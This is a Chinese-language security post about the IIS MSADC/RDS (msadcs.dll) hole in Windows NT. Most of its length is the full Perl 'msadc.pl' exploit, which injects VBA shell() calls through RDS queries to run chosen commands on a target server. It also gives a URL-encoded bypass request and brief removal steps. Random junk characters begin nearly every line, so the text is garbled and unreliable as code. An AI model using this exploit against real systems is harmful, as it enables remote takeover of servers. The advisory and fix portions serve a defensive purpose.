IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
4CUzp.S`h k[ {h$ 涉及程序：
?AMn>v Microsoft NT server
q%g!TFMg :Pa ^/i 描述：
= ;hz,+ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
yK1@`3@? ] LcCom:] 详细：
%25GplMT 如果你没有时间读详细内容的话，就删除:
X+0+ }S c:\Program Files\Common Files\System\Msadc\msadcs.dll
4 ^3}+cJ7j 有关的安全问题就没有了。
S.u1[Yz^ +v!% z( 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
uq.!{3)8 UDBMf2F] 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
c#-o@`Po 关于利用ODBC远程漏洞的描述，请参看:
sbeS9vE
E79'<;K,zs http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .paKV"LJ 7? U)V03 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
})?t:zX#* http://www.microsoft.com/security/bulletins/MS99-025faq.asp - 2o_ L? DG%vEM,y 这里不再论述。
v (|Arm? `>i8$q% 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
@N
tiT,3k %< ^IAMkp /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Vx gP^* 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
#N?VbDK9_ ;hz;|\ko5 mz[Q]e~&i #将下面这段保存为txt文件，然后: "perl -x 文件名"
\LN! k-c -:$#ko W #!perl
>cTS X #
C2X$ bX" # MSADC/RDS 'usage' (aka exploit) script
bfE4.YF #
{*BZ;Xh\8 # by rain.forest.puppy
3xhGmD\SKO #
tL>c@w#P v # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?:sk [f6 # beta test and find errors!
3qlY=5Y I_dO*k%l use Socket; use Getopt::Std;
Y8 % bk2 getopts("e:vd:h:XR", \%args);
PLb[U(~ j[ fE^& print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Q\ QSnMM&] S6<z2-y if (!defined $args{h} && !defined $args{R}) {
m@,u&9K print qq~
;4MC/Q / Usage: msadc.pl -h <host> { -d <delay> -X -v }
^MXW, xqb -h <host> = host you want to scan (ip or domain)
y#B4m`9 -d <seconds> = delay between calls, default 1 second
~x-"? K -X = dump Index Server path table, if available
D& dh>Pe1; -v = verbose
^t 2b`n60 -e = external dictionary file for step 5
6E)emFkQ TJO?BX_9 Or a -R will resume a command session
GJ9'i-\*\ `K%f"by ~; exit;}
j;7:aM"BQW N6>ert1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
xlP0?Y1Bl if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
K Y=$RO if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^b;3Jj if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0XSMby?t` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
` P,-NVB if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
O>KrTK-AV x+Ws lN 2a if (!defined $args{R}){ $ret = &has_msadc;
CVAX?c{ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
N 4!18{/2 r.JM!x8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
p0|PVn.^h . "cmd /c ";
_w.H]`C!X $in=<STDIN>; chomp $in;
Bw JL)$D<S $command="cmd /c " . $in ;
Qq|c% FZ 6)h~9iK if (defined $args{R}) {&load; exit;}
j =up7395 ?!Wh ^su- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
fi
tsu"G &try_btcustmr;
.FdzEauVc \z8j6 h print "\nStep 2: Trying to make our own DSN...";
JeXA *U# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
yt4sg/] : .',d*H))E7 print "\nStep 3: Trying known DSNs...";
*-vH64e &known_dsn;
Fy# 7 <Hp %W 8*vSbx print "\nStep 4: Trying known .mdbs...";
r .`&z &known_mdb;
4 }r.g0L cHAq[Ebp2! if (defined $args{e}){
}~+q S` print "\nStep 5: Trying dictionary of DSN names...";
M/abd 7q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'3uN]-A>D = j!nt8]8 print "Sorry Charley...maybe next time?\n";
\gW6E^ exit;
@ TraEBJGL \hO}3;*& ##############################################################################
c $n`=NI .5E6 MF sub sendraw { # ripped and modded from whisker
+v)+ k sleep($delay); # it's a DoS on the server! At least on mine...
"<$JU@P my ($pstr)=@_;
aInh? - socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\uyZl2=WWa die("Socket problems\n");
*K'#$`2 if(connect(S,pack "SnA4x8",2,80,$target)){
*v:o`{vM[ select(S); $|=1;
-d]v6q'1 print $pstr; my @in=<S>;
0 /)OAw"m select(STDOUT); close(S);
i4dy0jfN return @in;
[KW9J}] } else { die("Can't connect...\n"); }}
nkO4~p #GfM !<q< ##############################################################################
6
9s% XE `u sub make_header { # make the HTTP request
<Em|0hth my $msadc=<<EOT
b^'>XT~1J& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
( o2.*x User-Agent: ACTIVEDATA
d9.I83SS Host: $ip
(v0i]1ly[ Content-Length: $clen
] ]lN[J Connection: Keep-Alive
5`FPv4 A2%RcKY7 ADCClientVersion:01.06
p7p6 ~;P Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
G<F B:?| YfUo=ku --!ADM!ROX!YOUR!WORLD!
y(yB RR Content-Type: application/x-varg
~93#L_V_O Content-Length: $reqlen
Ol)M0u Fvr$K*u EOT
S^7u`- ; $msadc=~s/\n/\r\n/g;
303x|y return $msadc;}
4v MjVbr /_V4gwb}|- ##############################################################################
Is(ZVI 'EO"0, sub make_req { # make the RDS request
2&0#'Tb my ($switch, $p1, $p2)=@_;
+wE>h>?; my $req=""; my $t1, $t2, $query, $dsn;
=kBWY9 :$, ZJ%iiY if ($switch==1){ # this is the btcustmr.mdb query
0I}c|V'P $query="Select * from Customers where City=" . make_shell();
(L,>P`CR6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
-cB>; f)5r $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
]owcx=5q%' ~kOXMLRg elsif ($switch==2){ # this is general make table query
2SXy)m
! $query="create table AZZ (B int, C varchar(10))";
Gxw>.O){ $dsn="$p1";}
4<S=KFT_ .GiQC {@9w elsif ($switch==3){ # this is general exploit table query
|HQF qa < $query="select * from AZZ where C=" . make_shell();
nyx(0 $dsn="$p1";}
blmY=/] VX'G\Zz@h| elsif ($switch==4){ # attempt to hork file info from index server
yUX<W'-Hev $query="select path from scope()";
>8EmfjUoc $dsn="Provider=MSIDXS;";}
;BW-ag \9 ,L;%-}#$ elsif ($switch==5){ # bad query
L[. )!c8k $query="select";
zC WN,K` $dsn="$p1";}
t|v_[Za }Z -"x25~k!?F $t1= make_unicode($query);
v4W<_
7L_ $t2= make_unicode($dsn);
MNH-SQB | $req = "\x02\x00\x03\x00";
n=%D}W $req.= "\x08\x00" . pack ("S1", length($t1));
B18?)LA $req.= "\x00\x00" . $t1 ;
BUU ) Sz $req.= "\x08\x00" . pack ("S1", length($t2));
POb2U1Sj $req.= "\x00\x00" . $t2 ;
>]/aG! $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
tREC)+*\ return $req;}
S!g0J}.z S*(n s< L ##############################################################################
(2'q~Z+>' ?dQ#%06mn sub make_shell { # this makes the shell() statement
?#J;[y\ ^ return "'|shell(\"$command\")|'";}
D)J'x G_<O f=Kt [|%'e ##############################################################################
10ZL-7D#m +5ue) ` sub make_unicode { # quick little function to convert to unicode
VR vX^w0 my ($in)=@_; my $out;
S !R:a>\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
gFw- P#t return $out;}
m8z414o xj. )iegQ ##############################################################################
C''[[sw'K Z]k+dJ[- sub rdo_success { # checks for RDO return success (this is kludge)
d^ G5Pq my (@in) = @_; my $base=content_start(@in);
iYl{V']A if($in[$base]=~/multipart\/mixed/){
(lLCAmK 5? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
j)lgF: return 0;}
{3N5Fi7S FSyeDC^@ ##############################################################################
giu8EjzK 1fcyGZ q sub make_dsn { # this makes a DSN for us
b)+;@wa~ my @drives=("c","d","e","f");
W4rh7e4 print "\nMaking DSN: ";
i&zJwUr(< foreach $drive (@drives) {
ufXU print "$drive: ";
^Z G 3{> my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
g?e-D.p SF "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
S3Sn _zqG . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Kz9h{ Tu4 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
IK|W^hH\8 return 0 if $2 eq "404"; # not found/doesn't exist
ZN-5W|' O if($2 eq "200") {
Yf[GpS ej foreach $line (@results) {
IjrjLp[z$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
V>B*_J,z. } return 0;}
AGgL`sP Z =y^9] ##############################################################################
\
Q0-yNt =]hPX sub verify_exists {
jthGNVZ my ($page)=@_;
5ofsJ!b' my @results=sendraw("GET $page HTTP/1.0\n\n");
~riV9_- return $results[0];}
F ][QH\N n^;Sh$ Os ##############################################################################
Vv5#{+eT; 8CN 0Q&| sub try_btcustmr {
S1a}9Z| my @drives=("c","d","e","f");
x N]88L}Tn my @dirs=("winnt","winnt35","winnt351","win","windows");
1F58 2 l a>/j W-? foreach $dir (@dirs) {
2= ZZR8v print "$dir -> "; # fun status so you can see progress
T0Zv . foreach $drive (@drives) {
]WP[hF print "$drive: "; # ditto
DeL7sU $reqlen=length( make_req(1,$drive,$dir) ) - 28;
E/N*n!sV $reqlenlen=length( "$reqlen" );
z\Y-8a.] $clen= 206 + $reqlenlen + $reqlen;
/J w 65 e 4e 5 5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
H:&|q+K=# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>XiTl;UU else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
SSG}'W!z mtu`m6Xix ##############################################################################
a]u1_ $) vW:XM0 sub odbc_error {
6=xbi{m$ my (@in)=@_; my $base;
\IG"Te my $base = content_start(@in);
4'ymPPY if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Xv1mjHZCC $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qOd*9AS'|M $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=/]d\JSp $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,6FmU$
Kn return $in[$base+4].$in[$base+5].$in[$base+6];}
,c\3 b)ax print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
f MDM\&f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|UZhMF4/-L $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Kv26rY8Q nkvkHh ##############################################################################
rlIDym9nY~ %knPeo& sub verbose {
fb||q-E my ($in)=@_;
%T :7I[f return if !$verbose;
}v?_.MtS print STDOUT "\n$in\n";}
G~;h D-D~. L?gak@E ##############################################################################
*K1GX h% T$m_ sub save {
yxU??#v|g my ($p1, $p2, $p3, $p4)=@_;
- U/m open(OUT, ">rds.save") || print "Problem saving parameters...\n";
".R5K ? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
#aV2+ `d close OUT;}
s=xJcLA j,c8_;X! ##############################################################################
sTALO L< y $K#M sub load {
;+/[<bv d" my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,/ P)c*at5 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~J:"sUR @p=<IN>; close(IN);
R^=)Ucj $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/K./k!'z $target= inet_aton($ip) || die("inet_aton problems");
,wvzY7% print "Resuming to $ip ...";
.`ppp!:a4 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
,`lVB#| if($p[1]==1) {
? m$7)@p $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
l *Iy:j(B $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
M!ra3Y my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ix=H=U]Q{ if (rdo_success(@results)){print "Success!\n";}
(YJ]}J^ else { print "failed\n"; verbose(odbc_error(@results));}}
ORo +=2 elsif ($p[1]==3){
ADa'(#+6 if(run_query("$p[3]")){
=_/,C print "Success!\n";} else { print "failed\n"; }}
? <. U, elsif ($p[1]==4){
_+\hDV>v if(run_query($drvst . "$p[3]")){
5Se
S^kJC print "Success!\n"; } else { print "failed\n"; }}
uJP9J U
exit;}
ped3}i+|] 3g#fX{e_5! ##############################################################################
D|1pBn.b]' 3)J0f+M>dv sub create_table {
(y xrK my ($in)=@_;
]k (n_+! $reqlen=length( make_req(2,$in,"") ) - 28;
) !!xvyc $reqlenlen=length( "$reqlen" );
IiV#V $clen= 206 + $reqlenlen + $reqlen;
:%?\Wj5HW my @results=sendraw(make_header() . make_req(2,$in,""));
!1H\*VM " return 1 if rdo_success(@results);
2@ (Qd3N( my $temp= odbc_error(@results); verbose($temp);
vh~:{akR return 1 if $temp=~/Table 'AZZ' already exists/;
Ti@X< C return 0;}
b7:B[7yK.x :W/,V^x} ##############################################################################
=m4_8)-8u +C{ %pF sub known_dsn {
*Iu
.>nw # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
cXO_g!&2A my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a?IL6$z "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
'S
f "banner", "banners", "ads", "ADCDemo", "ADCTest");
S:UtmS+K GA {Q6]B foreach $dSn (@dsns) {
3f{%IU(z print ".";
ZcX qH7`r next if (!is_access("DSN=$dSn"));
hwmpiyu if(create_table("DSN=$dSn")){
&\\iD :J print "$dSn successful\n";
-L/5Nbup if(run_query("DSN=$dSn")){
-4p^wNR print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6N4/p=lE print "Something's borked. Use verbose next time\n";}}} print "\n";}
a$c7d~p$I VY'#>k} } ##############################################################################
"jVMk -IR9^) sub is_access {
%$
^yot my ($in)=@_;
Cm;WQuv@ $reqlen=length( make_req(5,$in,"") ) - 28;
JF >mybB $reqlenlen=length( "$reqlen" );
BPnZ"w_ $clen= 206 + $reqlenlen + $reqlen;
?o h3t my @results=sendraw(make_header() . make_req(5,$in,""));
1rV?^5 my $temp= odbc_error(@results);
FU0&E O verbose($temp); return 1 if ($temp=~/Microsoft Access/);
bID 'r}55 return 0;}
K<b -|t9f nTSGcMI ##############################################################################
A+j~oR Z\i@Qa +r sub run_query {
SLz^Wg._ my ($in)=@_;
@?*26}qp $reqlen=length( make_req(3,$in,"") ) - 28;
5`6@C Ref $reqlenlen=length( "$reqlen" );
<+sv7"a $clen= 206 + $reqlenlen + $reqlen;
r N$_(%m_N my @results=sendraw(make_header() . make_req(3,$in,""));
athU return 1 if rdo_success(@results);
T
-C2V$1 my $temp= odbc_error(@results); verbose($temp);
=wU08} return 0;}
.yQDW]q81G XkuNLs4 ##############################################################################
n`0}g_\q v?!x,H$Qd sub known_mdb {
R S;r my @drives=("c","d","e","f","g");
292e0cE my @dirs=("winnt","winnt35","winnt351","win","windows");
5 ah]E my $dir, $drive, $mdb;
"-A@>*g my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
e}kEh+4 mm\J]Cc` # this is sparse, because I don't know of many
6/.-V1*O my @sysmdbs=( "\\catroot\\icatalog.mdb",
%{&yXi:mS "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
M<~z=B# "\\system32\\certmdb.mdb",
no OG$P# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
W J=eV8Uk ~e ]83? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
uUwwR(R "\\cfusion\\cfapps\\forums\\forums_.mdb",
)@\= pE.H "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^0ipM/Lg "\\cfusion\\cfapps\\security\\realm_.mdb",
5Ee%!Pk "\\cfusion\\cfapps\\security\\data\\realm.mdb",
rC[*x} "\\cfusion\\database\\cfexamples.mdb",
j5G8IP_Wx "\\cfusion\\database\\cfsnippets.mdb",
Ngi$y> {Sq "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
d*3k]Ie%5f "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
vv"_u=H "\\cfusion\\brighttiger\\database\\cleam.mdb",
M{3He)& "\\cfusion\\database\\smpolicy.mdb",
!d&K,k "\\cfusion\\database\cypress.mdb",
yFH)PQ_ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
e%U0^! 8 "\\website\\cgi-win\\dbsample.mdb",
2u *o/L+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
2j Oh ~-LU "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ia LsIy#h ); #these are just
t(/e~w foreach $drive (@drives) {
SwV0q foreach $dir (@dirs){
g"FG7E & foreach $mdb (@sysmdbs) {
7Xw;TA print ".";
k/u6Cw0/ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
O3j:Y|N@F print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5 nkx8JJ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Og Y 4J|< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
_ohZTT%l } else { print "Something's borked. Use verbose next time\n"; }}}}}
0V1)ou84' (es+VI2!&C foreach $drive (@drives) {
R/Mwq#xUb foreach $mdb (@mdbs) {
C;1A$]bk print ".";
%r=uS.+hrF if(create_table($drv . $drive . $dir . $mdb)){
\rF6"24t6 print "\n" . $drive . $dir . $mdb . " successful\n";
|ITp$ _S if(run_query($drv . $drive . $dir . $mdb)){
\|F4@ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
q?nXhUD } else { print "Something's borked. Use verbose next time\n"; }}}}
[}9sq+# # }
E!8FZv8 9gZMfP ##############################################################################
N /p9Ws *!$4 sub hork_idx {
rr>QG<i;G print "\nAttempting to dump Index Server tables...\n";
AE={P*g print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
=!w5%|r. $reqlen=length( make_req(4,"","") ) - 28;
-icOg6% $reqlenlen=length( "$reqlen" );
Hzcy ' $clen= 206 + $reqlenlen + $reqlen;
[ >O4hifq my @results=sendraw2(make_header() . make_req(4,"",""));
<Bn^+u \ if (rdo_success(@results)){
*p`0dvXG 2 my $max=@results; my $c; my %d;
AON";&dLq- for($c=19; $c<$max; $c++){
=Mzg={)v $results[$c]=~s/\x00//g;
y>Zvos e $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
r Lg(J|^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
MUhC6s\F $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
: 3^b>(W. $d{"$1$2"}="";}
|Zr5I"; foreach $c (keys %d){ print "$c\n"; }
% 6+J]U } else {print "Index server doesn't seem to be installed.\n"; }}
Jkzt=6WZ0 #s$b\"4 ##############################################################################
|s-q+q{| e^&QT sub dsn_dict {
1t_$pDF} open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&$?e D{ while(<IN>){
" nP mQ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
5cO}Jp%PA next if (!is_access("DSN=$dSn"));
1sl^+)z 8 if(create_table("DSN=$dSn")){
]W7(}~m print "$dSn successful\n";
{_0E f c=7 if(run_query("DSN=$dSn")){
8Y *SZTzV print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S(9Xbw)T print "Something's borked. Use verbose next time\n";}}}
;Z HKTOoK print "\n"; close(IN);}
/ d=i 0E3 O{ zY (`[ ##############################################################################
pJr c\`D >^LVj[.1 sub sendraw2 { # ripped and modded from whisker
* t6 XU sleep($delay); # it's a DoS on the server! At least on mine...
W{O:j my ($pstr)=@_;
*Dtwr socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^"7t fo8 die("Socket problems\n");
%lNv?sWb if(connect(S,pack "SnA4x8",2,80,$target)){
`2c>M \c4U print "Connected. Getting data";
cN0|! nm* open(OUT,">raw.out"); my @in;
["- pylhK select(S); $|=1; print $pstr;
[S gWUP* while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Mez ;DKJ` close(OUT); select(STDOUT); close(S); return @in;
^wPKqu)^ } else { die("Can't connect...\n"); }}
#gq4% ; #mlTN3 ##############################################################################
j2# nCU54Z 'c<vj
jIg sub content_start { # this will take in the server headers
^prseO?A my (@in)=@_; my $c;
hYMIe]kJ for ($c=1;$c<500;$c++) {
+N5#EpW if($in[$c] =~/^\x0d\x0a/){
Y$b4Ga9j if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
UZ0fw@R M else { return $c+1; }}}
LWHP31{ R return -1;} # it should never get here actually
j 89|hG)2 [Av#Z)R ##############################################################################
x7K T0s7aw[zm sub funky {
TWYz\Hmw my (@in)=@_; my $error=odbc_error(@in);
,X(P/x{B if($error=~/ADO could not find the specified provider/){
h^^zR)EVb print "\nServer returned an ADO miscofiguration message\nAborting.\n";
O=LS~&=, exit;}
{Md xIp[ if($error=~/A Handler is required/){
G7 > print "\nServer has custom handler filters (they most likely are patched)\n";
W Xu:mv,'e exit;}
-QjdL9\[c7 if($error=~/specified Handler has denied Access/){
6eE%x?# print "\nServer has custom handler filters (they most likely are patched)\n";
";}Lf1M9 exit;}}
;l>
xXSB7$ *F* c ##############################################################################
95B w;U3E pg~vteq5 sub has_msadc {
au7%K 5 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
B!GpD@U my $base=content_start(@results);
u':- DgK return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
\o ! return 0;}
{PgB~|W _H}y7 ########################
/Y5I0Ko Uw t ^ L XGQ DLcfOOn1I 解决方案：
EJ{Z0R{{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
K y~
9's 2、移除web 目录: /msadc
